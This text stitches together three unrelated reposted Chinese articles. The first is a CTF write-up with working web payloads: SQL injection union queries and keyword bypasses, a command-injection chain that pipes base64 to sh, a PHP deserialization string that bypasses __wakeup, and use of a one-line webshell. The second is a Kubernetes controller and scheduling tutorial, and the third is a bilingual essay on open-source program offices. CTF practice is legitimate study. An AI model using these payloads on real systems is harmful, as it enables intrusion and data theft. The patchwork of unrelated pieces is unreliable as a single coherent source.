查字段：1' order by 3 经过测试 字段为3 查看回显:1’ union select 1,2,3 查数据库 1' union select 1,2,group_concat(schema_name) from information_schema.schemata 查表： [GXYCTF2019]Ping Ping Ping 考察：RCE的防护绕过 直接构造：?ip=127.0.0.1;ls 简单的fuzz一下 就发现=和$没有过滤 所以想到的思路就是使用$IFS$9代替空格，使用拼接变量来拼接出Flag字符串： 构造playload ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b 看看他到底过滤了什么：?ip=127.0.0.1;cat$IFS$1index.php 一目了然过滤了啥，flag字眼也过滤了，bash也没了，不过sh没过滤： 继续构造payload： ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 查看源码，得到flag flag{1fe312b4-96a0-492d-9b97-040c7e333c1a} [RoarCTF 2019]Easy Calc 进入题目链接 查看源码 发现calc.php 利用PHP的字符串解析特性Bypass，具体看这里 HP需要将所有参数转换为有效的变量名，因此在解析查询字符串时，它会做两件事： 1.删除空白符2.将某些字符转换为下划线（包括空格） scandir()：列出参数目录中的文件和目录 发现/被过滤了 ，可以用chr('47')代替 calc.php? num=1;var_dump(scandir(chr(47))) 这里直接上playload calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag{76243df6-aecb-4dc5-879e-3964ec7485ee} [极客大挑战 2019]Knife 进入题目链接 根据题目Knife 还有这个一句话木马 猜想尝试用蚁剑连接 测试连接成功 确实是白给了flag [ACTF2020 新生赛]Exec 直接ping 发现有回显 构造playload： 127.0.0.1;cat /flag 成功拿下flag flag{7e582f16-2676-42fa-8b9d-f9d7584096a6} [极客大挑战 2019]PHP 进入题目链接 它提到了备份文件 就肯定是扫目录 把源文件的代码 搞出来 上dirsearch 下载看这里 很简单的使用方法 用来扫目录 -u 指定url -e 指定网站语言 -w 可以加上自己的字典，要带路径 -r 递归跑(查到一个目录后，重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道，如果password=100，username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} }$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时，属性个数的值大于实际属性个数时，就可以 2.private修饰符的问题 private 声明的字段为私有字段，只在所声明的类中可见，在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时，类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover， 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法： flask session 伪造 具体，看这里 flask中session是存储在客户端cookie中的，也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是，签名的作用是防篡改，而无法防止被读取。而flask并没有提供加密操作，所以其session的全部内容都是可以在客户端读取的，这就可能造成一些安全问题。 [极客大挑战 2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显： 1' uniunionon selselectect 1,2,3 over！正常 开始注入 爆库 爆列 爆表 爆内容 本篇文章为转载内容。原文链接：https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...，Pod 也就被垃圾回收了 配置模板 apiVersion: apps/v1 版本号kind: DaemonSet 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: daemonsetspec: 详情描述revisionHistoryLimit: 3 保留历史版本updateStrategy: 更新策略type: RollingUpdate 滚动更新策略rollingUpdate: 滚动更新maxUnavailable: 1 最大不可用状态的 Pod 的最大值，可以为百分比，也可以为整数selector: 选择器，通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [nginx-pod]}template: 模板，当副本数量不足时，会根据下面的模板创建pod副本metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1ports:- containerPort: 80 1、创建ds 创建pc-daemonset.yaml，内容如下： apiVersion: apps/v1kind: DaemonSet metadata:name: pc-daemonsetnamespace: devspec: selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1 运行 创建daemonset[root@k8s-master01 ~] kubectl create -f pc-daemonset.yamldaemonset.apps/pc-daemonset created 查看daemonset[root@k8s-master01 ~] kubectl get ds -n dev -o wideNAME DESIRED CURRENT READY UP-TO-DATE AVAILABLE AGE CONTAINERS IMAGES pc-daemonset 2 2 2 2 2 24s nginx nginx:1.17.1 查看pod,发现在每个Node上都运行一个pod[root@k8s-master01 ~] kubectl get pods -n dev -o wideNAME READY STATUS RESTARTS AGE IP NODE pc-daemonset-9bck8 1/1 Running 0 37s 10.244.1.43 node1 pc-daemonset-k224w 1/1 Running 0 37s 10.244.2.74 node2 2、删除daemonset [root@k8s-master01 ~] kubectl delete -f pc-daemonset.yamldaemonset.apps "pc-daemonset" deleted Job 主要用于负责批量处理一次性(每个任务仅运行一次就结束)任务。当然，你也可以运行多次，配置好即可，Job特点如下： 当Job创建的pod执行成功结束时，Job将记录成功结束的pod数量 当成功结束的pod达到指定的数量时，Job将完成执行 配置模板 apiVersion: batch/v1 版本号kind: Job 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: jobspec: 详情描述completions: 1 指定job需要成功运行Pods的次数。默认值: 1parallelism: 1 指定job在任一时刻应该并发运行Pods的数量。默认值: 1activeDeadlineSeconds: 30 指定job可运行的时间期限，超过时间还未结束，系统将会尝试进行终止。backoffLimit: 6 指定job失败后进行重试的次数。默认是6manualSelector: true 是否可以使用selector选择器选择pod，默认是falseselector: 选择器，通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: counter-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [counter-pod]}template: 模板，当副本数量不足时，会根据下面的模板创建pod副本metadata:labels:app: counter-podspec:restartPolicy: Never 重启策略只能设置为Never或者OnFailurecontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 2;done"] 关于重启策略设置的说明：（这里只能设置为Never或者OnFailure） 如果指定为OnFailure，则job会在pod出现故障时重启容器，而不是创建pod，failed次数不变 如果指定为Never，则job会在pod出现故障时创建新的pod，并且故障pod不会消失，也不会重启，failed次数加1 如果指定为Always的话，就意味着一直重启，意味着job任务会重复去执行了，当然不对，所以不能设置为Always 1、创建一个job 创建pc-job.yaml，内容如下： apiVersion: batch/v1kind: Job metadata:name: pc-jobnamespace: devspec:manualSelector: trueselector:matchLabels:app: counter-podtemplate:metadata:labels:app: counter-podspec:restartPolicy: Nevercontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 3;done"] 创建 创建job[root@k8s-master01 ~] kubectl create -f pc-job.yamljob.batch/pc-job created 查看job[root@k8s-master01 ~] kubectl get job -n dev -o wide -wNAME COMPLETIONS DURATION AGE CONTAINERS IMAGES SELECTORpc-job 0/1 21s 21s counter busybox:1.30 app=counter-podpc-job 1/1 31s 79s counter busybox:1.30 app=counter-pod 通过观察pod状态可以看到，pod在运行完毕任务后，就会变成Completed状态[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-job-rxg96 1/1 Running 0 29spc-job-rxg96 0/1 Completed 0 33s 接下来，调整下pod运行的总数量和并行数量 即：在spec下设置下面两个选项 completions: 6 指定job需要成功运行Pods的次数为6 parallelism: 3 指定job并发运行Pods的数量为3 然后重新运行job，观察效果，此时会发现，job会每次运行3个pod，总共执行了6个pod[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-job-684ft 1/1 Running 0 5spc-job-jhj49 1/1 Running 0 5spc-job-pfcvh 1/1 Running 0 5spc-job-684ft 0/1 Completed 0 11spc-job-v7rhr 0/1 Pending 0 0spc-job-v7rhr 0/1 Pending 0 0spc-job-v7rhr 0/1 ContainerCreating 0 0spc-job-jhj49 0/1 Completed 0 11spc-job-fhwf7 0/1 Pending 0 0spc-job-fhwf7 0/1 Pending 0 0spc-job-pfcvh 0/1 Completed 0 11spc-job-5vg2j 0/1 Pending 0 0spc-job-fhwf7 0/1 ContainerCreating 0 0spc-job-5vg2j 0/1 Pending 0 0spc-job-5vg2j 0/1 ContainerCreating 0 0spc-job-fhwf7 1/1 Running 0 2spc-job-v7rhr 1/1 Running 0 2spc-job-5vg2j 1/1 Running 0 3spc-job-fhwf7 0/1 Completed 0 12spc-job-v7rhr 0/1 Completed 0 12spc-job-5vg2j 0/1 Completed 0 12s 2、删除 删除jobkubectl delete -f pc-job.yaml CronJob 简称为CJ，CronJob控制器以 Job控制器资源为其管控对象，并借助它管理pod资源对象，Job控制器定义的作业任务在其控制器资源创建之后便会立即执行，但CronJob可以以类似于Linux操作系统的周期性任务作业计划的方式控制其运行时间点及重复运行的方式。也就是说，CronJob可以在特定的时间点(反复的)去运行job任务。可以理解为定时任务 配置模板 apiVersion: batch/v1beta1 版本号kind: CronJob 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: cronjobspec: 详情描述schedule: cron格式的作业调度运行时间点,用于控制任务在什么时间执行concurrencyPolicy: 并发执行策略，用于定义前一次作业运行尚未完成时是否以及如何运行后一次的作业failedJobHistoryLimit: 为失败的任务执行保留的历史记录数，默认为1successfulJobHistoryLimit: 为成功的任务执行保留的历史记录数，默认为3startingDeadlineSeconds: 启动作业错误的超时时长jobTemplate: job控制器模板，用于为cronjob控制器生成job对象;下面其实就是job的定义metadata:spec:completions: 1parallelism: 1activeDeadlineSeconds: 30backoffLimit: 6manualSelector: trueselector:matchLabels:app: counter-podmatchExpressions: 规则- {key: app, operator: In, values: [counter-pod]}template:metadata:labels:app: counter-podspec:restartPolicy: Never containers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 20;done"] cron表达式写法 需要重点解释的几个选项：schedule: cron表达式，用于指定任务的执行时间/1 <分钟> <小时> <日> <月份> <星期>分钟 值从 0 到 59.小时 值从 0 到 23.日 值从 1 到 31.月 值从 1 到 12.星期 值从 0 到 6, 0 代表星期日多个时间可以用逗号隔开； 范围可以用连字符给出；可以作为通配符； /表示每... 例如1 // 每个小时的第一分钟执行/1 // 每分钟都执行concurrencyPolicy:Allow: 允许Jobs并发运行(默认)Forbid: 禁止并发运行，如果上一次运行尚未完成，则跳过下一次运行Replace: 替换，取消当前正在运行的作业并用新作业替换它 1、创建cronJob 创建pc-cronjob.yaml，内容如下： apiVersion: batch/v1beta1kind: CronJobmetadata:name: pc-cronjobnamespace: devlabels:controller: cronjobspec:schedule: "/1 " 每分钟执行一次jobTemplate:metadata:spec:template:spec:restartPolicy: Nevercontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 3;done"] 运行 创建cronjob[root@k8s-master01 ~] kubectl create -f pc-cronjob.yamlcronjob.batch/pc-cronjob created 查看cronjob[root@k8s-master01 ~] kubectl get cronjobs -n devNAME SCHEDULE SUSPEND ACTIVE LAST SCHEDULE AGEpc-cronjob /1 False 0 <none> 6s 查看job[root@k8s-master01 ~] kubectl get jobs -n devNAME COMPLETIONS DURATION AGEpc-cronjob-1592587800 1/1 28s 3m26spc-cronjob-1592587860 1/1 28s 2m26spc-cronjob-1592587920 1/1 28s 86s 查看pod[root@k8s-master01 ~] kubectl get pods -n devpc-cronjob-1592587800-x4tsm 0/1 Completed 0 2m24spc-cronjob-1592587860-r5gv4 0/1 Completed 0 84spc-cronjob-1592587920-9dxxq 1/1 Running 0 24s 2、删除cronjob kubectl delete -f pc-cronjob.yaml pod调度 什么是调度 默认情况下，一个pod在哪个node节点上运行，是通过scheduler组件采用相应的算法计算出来的，这个过程是不受人工控制的； 调度规则 但是在实际使用中，我们想控制某些pod定向到达某个节点上，应该怎么做呢？其实k8s提供了四类调度规则 调度方式 描述 自动调度 通过scheduler组件采用相应的算法计算得出运行在哪个节点上 定向调度 运行到指定的node节点上，通过NodeName、NodeSelector实现 亲和性调度 跟谁关系好就调度到哪个节点上 1、nodeAffinity ：节点亲和性，调度到关系好的节点上 2、podAffinity：pod亲和性，调度到关系好的pod所在的节点上 3、PodAntAffinity：pod反清河行，调度到关系差的那个pod所在的节点上 污点（容忍）调度 污点是站在node的角度上的，比如果nodeA有一个污点，大家都别来，此时nodeA会拒绝master调度过来的pod 定向调度 指的是利用在pod上声明nodeName或nodeSelector的方式将pod调度到指定的pod节点上，因为这种定向调度是强制性的，所以如果node节点不存在的话，也会向上面进行调度，只不过pod会运行失败； 1、定向调度-> nodeName nodeName 是将pod强制调度到指定名称的node节点上，这种方式跳过了scheduler的调度逻辑，直接将pod调度到指定名称的节点上，配置文件内容如下 apiVersion: v1 版本号kind: Pod 资源类型metadata: name: pod-namenamespace: devspec: containers: - image: nginx:1.17.1name: nginx-containernodeName: node1 调度到node1节点上 2、定向调度 -> NodeSelector NodeSelector是将pod调度到添加了指定label标签的node节点上，它是通过k8s的label-selector机制实现的，也就是说，在创建pod之前，会由scheduler用matchNodeSelecto调度策略进行label标签的匹配，找出目标node，然后在将pod调度到目标node； 要实验NodeSelector，首先得给node节点加上label标签 kubectl label nodes node1 nodetag=node1 配置文件内容如下 apiVersion: v1 版本号kind: Pod 资源类型metadata: name: pod-namenamespace: devspec: containers: - image: nginx:1.17.1name: nginx-containernodeSelector: nodetag: node1 调度到具有nodetag=node1标签的节点上 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_27184497/article/details/121765387。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...的软件实践产生了积极影响，例如提高了代码质量。 但公司也不可能总是为他们使用的每一个开源项目而花费精力。 “首先，节流一下”，VMware 的 Ambiel 建议道。 公司应该关注投入使用中最有意义的项目。而这也是OSPO可以帮助确定优先事项并确保技术与战略一致性的领域。 之后，开发人员应该自己去了解一下。项目通常提供相关在线文档，一般包含贡献着指南、治理文档和未解决问题列表。 “对于那些你较感兴趣的项目中，你可以介绍一下自己----打个招呼”，她说。“然后转到Slack频道或者分发列表，询问他们需要帮助的地方。也许他们不需要帮助，一切完好；又或者他们也有可能使用新人来审查核验代码。” Ambiel 说，开源计划办公室不仅可以帮助制定为开源社区做出贡献的商业案例，还可以帮助公司以安全、可靠和健全的方式来做这件事。 “如果我为一家公司工作，并想为开源做出贡献，我不想意外披露、泄露或破坏任何专利，”她说。“而OSPO可以帮助您做出明智的选择。” 她说，OSPO还可以在开源方面提供领导力和指导理念的支持。“它可以提供引领、指导、辅导和最佳实践的作用。” Aqua Security的开发人员倡导者Anaïs Urlichs则认为，支持开源的承诺必须从高层开始。 她说，“公司在多数时候往往不重视对开源的投资，所以员工自然而然不被鼓励对此作出贡献。” 在这些情况下，员工对于开源的热情也会在空闲时间里对开源的建设而消散殆尽，这对于开源的发展来说是不可持续的。 “如果公司对开源项目依赖度高，那么将开源贡献纳入工程师的日程安排是很重要的，”她说。“一些公司定义了员工可以为开源建设的时间百分比，将其作为他们正常工作日的一部分。” The New Stack 是 Insight Partners 的全资子公司，Insight Partners 是本文提到的以下公司的投资者：Sysdig、Aqua Security。 中英对照版 How an OSPO Can Help Your Engineers Give Back to Open Source OSPO （开源项目办公室）是如何使工程师回馈开源的 When it comes to open source software, there’s a big and growing problem: most organizations are takers, not givers. 谈到开源软件，有一个较大且日益严重的问题：大多数组织都是索取者，而不是给予者。 There’s a classic XKCD comic that shows a giant structure representing modern digital infrastructure, dependent on a tiny component created by “some random person in Nebraska” who has been “thanklessly maintaining since 2003.” 经典漫画XKCD展示了一个代表现代数字基础设施的巨大结构，它依赖于“内布拉斯加州的某位人士”创建的微小组件，该组件“自2003年来一直都处于吃力不讨好的状态”。 Randall Monroe’s XKCD comic illustrates the open source dilemma: overreliance on a small number of volunteer project maintainers. Randall Monroe 的XKCD漫画展示了目前开源面临的窘境：过度依赖少数项目维护志愿者的志愿服务。 This would have been funny, except that this is exactly what happened when security vulnerabilities were discovered in Log4j last December. （开源项目由志愿者自发来维护，）这听起来像是一件很滑稽的事情，但事实上去年十二月在Log4j中发现的安全漏洞也确实存在着上述情况。 The Java-based logging tool is ubiquitous in enterprise publications. In the last three months, for example, Log4j has been downloaded more than 30 million times, according to a report by the enterprise software company Sonatype. 然而这个基于Java的日志记录工具已经在企业内部刊物中无处不在。例如根据软件公司Sonatype的一份报告显示，在过去的三个月里，Log4j的下载量就已经超过3000万次。 The tool has 440,000 lines of code, according to Synopsys‘ Black Duck Open Hub research tool, with nearly 24,000 contributions by nearly 200 developers. That’s a large dev team compared to other open source projects. But looking closer at the numbers, more than 70% of commits were by just five people. 根据Synopsys(新思）公司旗下的Black Duck Open Hub 研究工具显示。Log4j有着440,000行代码，由近200名开发人员贡献了将近24,000行代码。其实与其他开源项目相比，这是一个庞大的开发团队。但是如果关注数据的话，就会发现超过70%的提交是仅仅靠五个人来完成的。 Log4j’s home page lists about a dozen members on its project team. Most projects have far fewer developers working on them — and that presents a problem for the organizations that depend on them. Log4j的主页上展示了十几位项目团队的成员。而大多项目的开发人员要比其原本需要的少得多----这是高度依赖开发人员团队所呈现出来的问题。 “There is little incentive for anyone today to contribute to an existing open source project,” said Jeremy Stretch, distinguished engineer at NS1, a DNS network company. “There’s usually no direct compensation, and few accolades are offered — most users don’t even know who maintains the software that they use.” “如今的人没有什么动力去为现有的开源项目做贡献”，来自DNS网络公司NS1的杰出工程师Jeremy Strech说，“因为通常来说，这没有直接的物质回报，也很少提供荣誉----大多数用户甚至不知道他们所用的软件是谁维护的。” The most common motivation among open source contributors is to add a feature that they themselves want to see, he said. “Once this has been achieved, the contributor rarely sticks around.” 他说，开源贡献者们最常见的动机就是添加他们自己想要的功能。“一旦实现了这一点，他们几乎都不会留下来。” Meanwhile, as a project becomes more popular, the burden on the core team of maintainers keeps increasing. 与此同时，随着项目的逐渐流行，对于维护方面的核心团队来说，他们的负担也在不断增加。 “More users means more feature requests and more bug reports — but not more maintainers,” Stretch said. “What was once an enjoyable hobby can quickly become a tedious chore, and many maintainers understandably opt to simply abandon their projects altogether.” “更多的用户意味有着更多的功能需求和错误报告----但不是更多的维护人员”，Stretch说。“曾经令人愉快的爱好很快就会变成一项乏味的项目，所以很多维护人员选择干脆完全放弃他们的项目，这也是可以理解的。” Part1The Tragedy of the Commons The open source software ecosystem is a perfect example of the “tragedy of the commons.” 开源软件的生态系统，就是“公地悲剧”的一个完美例子。 And the tragedy is — when everyone uses, but no one contributes, that resource — whether it’s an overrun park or an open source project — eventually collapses from overuse and underinvestment. Everyone loves using free stuff, but everyone expects someone else to take care of it. 这个悲剧就是---当一种资源，无论是一个超限的公园还是一个开源项目，所有人都在使用而没有人贡献之时，最终都会因为过度使用和投入不足而崩溃坍塌。 This approach can save you money in the short term, but it can become a fatal flaw over time. Especially since open source software is everywhere, running everything. 这种方式可以在短期内为你节省资金，但随着时间的推移，它可能会变成项目里致命的缺陷。 Linux, for example, the open source operating system, runs on 96% of the world’s top 1 million servers, and 90% of all cloud infrastructure is on Linux. Not to mention that 85% of all smartphones in the world run Linux, in the form of the Android OS. 拿Linux来说，这个开源操作系统在全球前100万台服务器中运行率在96%以上，且这些服务器90%的云基础设施也都在Linux上。更不用说世界上85%的智能手机都运行着Linux，即Android操作系统。 Then there’s Java, Apache, WordPress, Cassandra, Hadoop, MySQL, PHP, ElasticSearch, Kubernetes — the list of ubiquitous open source projects goes on and on. 还有Java, Apache, WordPress, Cassandra, Hadoop, MySQL, PHP, ElasticSearch, Kubernetes--这些常见开源项目的列表还在逐渐增加着。 Without open source, much of today’s technical infrastructure would immediately grind to a halt. 如果没有开源，今天的大部分技术基础设施的建设也将会戛然而止。 “It is a real problem,” said Danil Mikhailov, executive director at Data.org, a nonprofit backed by the Mastercard Center for Inclusive Growth and The Rockefeller Foundation that promotes the use of data science to tackle society’s greatest challenges. “这是一个很现实的问题”，Data.org的执行董事Danil Mikhailov说，该组织是由万事达包容性发展中心和洛克菲勒基金会支持，旨在促进使用数据科学来应对当今社会所面临的巨大挑战的非营利性组织。 While nearly all organizations use open source software, only a minority contribute to those projects. Forty-two percent of participants in a survey released in September by The New Stack, Linux Foundation Research, and the TODO Group said tthey contribute at least sometimes to open source projects. 虽然几乎所有组织都在使用着开源软件，但只有少数组织为这些项目作出了贡献。The New Stack、Linux Foundation Research 和 TODO Group 在 9 月发布的一项调查中，42% 的参与者表示，他们至少有时会为开源项目做出贡献。 The same study showed that only 36% of organizations train their engineers to contribute to open source. 而同一项研究表明，只有36%的组织会培训他们的工程师为开源作出贡献。 Individual companies should support projects that they use the most and are critical to their success, Mikhailov said: “If you use, you contribute.” 个体公司应该支持贡献这些他们使用最多且对他们成功至关重要的项目，Mikhailov认为：“如果你使用开源，你就应该为他做出属于你自己的贡献。” Part2OSPO Benefits:Less Tech Debt,Better Recruiting Participating in open source communities — especially when guided by an in-house open source program office (OSPO) — can help ensure the health of projects critical to your organization’s success, improve those projects’ security, and allow your engineers to have more impact in the projects’ development road map. 参与开源社区——特别是在内部开源项目办公室（OSPO）的指导下——不仅可以保证对组织成功至关重要项目的健康发展，还可以提高项目安全性，同时可以允许工程师在项目发展规划中起到更大的影响。 Say, for example, a company uses an open source tool and modifies it a little to make it better. If that improvement isn’t contributed back to the community, then the official version of the open source project will start to diverge from what the company is using 例如，如果一家公司使用了开源工具，并对其进行了一些调整使其变得更好。但如果这项改进没有反馈到开源社区，那么开源项目的正式版本就会一开始与该公司所使用的版本有所不同。 “You start to grow technical debt because when the original source changes and you’ve got a different version. Those differences grow rapidly, compounding daily. It doesn’t take long for you to be the proud user and maintainer of a one-of-a-kind open source project variant,” said Suzanne Ambiel, director, open source marketing and strategy at VMware. “当原始代码来源发生变化且你所使用的是不同的版本时，你的技术负债将越来越多。而这些差异是以天为单位迅速增长的。”VMware 开源营销和战略总监 Suzanne Ambiel 表示，“所以你很快就会变成一个开源项目里独一无二变体的‘自豪’用户和维护人员。” “The technical debt gets bigger and bigger and it gets very expensive for a company to manage.” “如果技术负债越来越多，那么公司的管理成本则会非常昂贵”。 Support for open source activity can also be a recruiting tool. “It’s really a talent magnet,” said Ambiel. “It’s one of the things that new hires look for.” 实际上对于开源活动的支持也变成了一种招聘途径。“这真是一块吸引人才的磁铁，”Ambiel说，“这也是新员工所寻求的“。 Some engineering managers might worry that open source contributions will detract from core product development, she said. Their rationale, she added, might run along the lines of, “I only have so much talent, and so many hours, and I need them to only work on things where I can measure and see the return on investment.” 她还提到，一些工程经理可能会对贡献开源而减损核心产品的开发的精力而感到担忧。她补充到，他们的理由有可能是这样的：“我只有有限的才华与时间，且我需要这些只做我认为可以度量且看到投资回报的事情。” But that attitude, she said, is shortsighted. Supporting employees who contribute to open source communities can build skills and develop talent, she said. 但她说，这是一种鼠目寸光的态度。支持开源社区并且作出贡献的员工，可以从中培养技能与增长才华。 Loris Degionni, chief technology officer and founder at Sysdig, a cloud security vendor, echoed this notion: “Finding employees who contribute to open source is a gold mine,” said. 云安全供应商 Sysdig 的首席技术官兼创始人 Loris Degionni 也赞同这一观点：“找出为开源做出贡献的员工无疑就找到一座金矿，”他说。 These employees are more capable of delivering features a company wants to use and merge them into community-supported standards, he said. And in a war for talent, companies that embrace open source are more attractive to developers. 他认为，这些参与开源的员工更具备公司想拥有的竞争力并将一些功能融入至社区所支持的标准中。且在人才争夺战中，拥抱开源的公司也更受到开发人员的青睐。 “Lastly, open source is driven by a community of technical experts you may not be able to hire,” he said. “When employees actively contribute and collaborate with these experts, they’ll be better informed of best practices and bring them back to your organization. “最后，开源项目是由你可能无法聘请的技术专家社区推动的”，他说，“当员工积极参与并于这些专家合作时，他们将能更好地深入这些最佳实践，并将这些收获带回到你的组织之中。” “You start to grow technical debt because when the original source changes and you’ve got a different version … It doesn’t take long for you to be the proud user and maintainer of a one-of-a-kind open source project variant.” —Suzanne Ambiel, director, open source marketing and strategy, VMware “当原始数据来源发生变化且你所使用的是不同的版本时，你的技术负债将越来越多...所以你很快就会变成一个开源项目里独一无二变体的”自豪“用户和维护人员。” — Suzanne Ambiel，VMware 开源营销和战略总监 “All of this should be rewarded — developers shouldn’t have to spend their free time honing their skills, as your company will quickly see benefits from their efforts.” “但是这一切终究不会白费--开发人员不应该把业余时间用在磨练他们的技能上，因为你的公司很快就会在他们的努力中看到好处。” An OSPO, Degionni suggested, can help achieve these goals, as well as help prioritize contributions and ensure collaboration. In addition, they can help provide governance that mirrors what companies would have for internally developed applications. Degionni认为，OSPO（开源计划办公室）可以帮助公司实现这些目标，以及帮助确定贡献的优先级并确保合作的进行。除此之外，他们也可以对公司内部开发应用程序方面的治理提供相关帮助。 “Members of the open source team are also in a position to be great internal evangelists for open source technologies, and act as bridges between the organization and the broader community,” he added. “开源团队的成员也可以成为开源技术的伟大内部布道师，并充当组织与更广泛社区之间的桥梁。”他补充道。 In the September survey from The New Stack, Linux Foundation Research and the TODO Group, nearly 53% of organizations with OSPOs said they saw more innovation as a result of having an OSPO, while almost 43% said they saw increased participation in external open source projects. 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月调查中，近 53% 的拥有 OSPO的组织表示，由于拥有了OSPO，他们看到了更多创新，而近 43% 的组织表示，他们在外部开源项目的参与度上有所增加。 Part3More OSPO Benefits:A Business Edge Contributing to open source communities doesn’t just help the communities, but the companies that contribute to them, said Tom Hickman, chief innovation officer at ThreatX, a cybersecurity firm. 网络安全公司 ThreatX 的首席创新官 Tom Hickman 表示，为开源社区做出贡献，不仅有助于社区，还有助于为社区做出贡献的公司。 “Growing the community of developers around a project helps the code base, and attracts more developers,” he said. “It can become a virtuous circle.” “围绕一个项目而发展的开发人员社区，有助于代码库的形成，并吸引更多的开发人员参与”，他说，“这可以变成一个良性循环。” Also, companies that contribute to open source projects get twice the productive value from their use of open source than companies that don’t, according to research by Harvard Business School. 此外，根据哈佛商学院的研究，为开源项目作出贡献的公司从使用开源的项目中获得的生产价值，是不参与开源项目公司的两倍。 Many of the biggest companies in the world are contributing to open source, said Chris Aniszczyk, chief technology officer at Cloud Native Computing Foundation. He pointed to the Open Source Contributor Index as a reference for exactly just how much companies are doing. Cloud Native Computing Foundation 的首席技术官 Chris Aniszczyk 说，世界上许多巨头公司都为开源作出了贡献。他还提到，开源贡献者的指数是作为公司是否有所作为的参考。 The tech giants dominate the list: Google, Microsoft, Red Hat, Intel, IBM, Amazon, Facebook, VMware, GitHub and SAP are the top 10 contributors, in that order. But there are also a lot of end users on the top 100 list, said Aniszczyk, including Uber, the BBC, Orange, Netflix, and Square. 科技巨头占据了这份榜单的主导地位：谷歌、微软、红帽、英特尔、IBM、亚马逊、Facebook、VMware、GitHub 和 SAP 依次是排名前 10 的贡献者。但Aniszczyk 表示，但也有很多终端用户公司进入前 100 名，包括 Uber、BBC、Orange、Netflix 和 Square。 “We’ve always known working in upstream projects is not just the right thing to do —it’s the best approach to open source software development and the best way to deliver open source benefits to our customers,” he said. “It’s great to see that IT leaders recognize this as well.” “我们一直知道，在上游项目中工作不仅仅是关正确与否----它是开源软件开发的最佳方法，也是向客户提供开源福利的最佳方式“他说，“很高兴看到IT领导者们也认识到了这一点。” To contribute alongside these giants, companies need to have their own open source strategies, and having an open source program office can help. 为了和这些公司一起作出贡献，公司也需要有自己的开源策略，而拥有一个开源项目办公室则可以为其提供帮助。 “OSPOs provide a critical center of competency in a company when it comes to utilizing open source software,” he said. “在使用开源软件方面，OPSO为公司提供了一个至关重要的能力中心”他说。 It’s similar to the way that companies have security operations centers, he said. 这与公司拥有安全运营中心的方式类似，他说。 “Growing the community of developers around a project helps the code base, and attracts more developers. It can become a virtuous circle.” —Tom Hickman, chief innovation officer, ThreatX 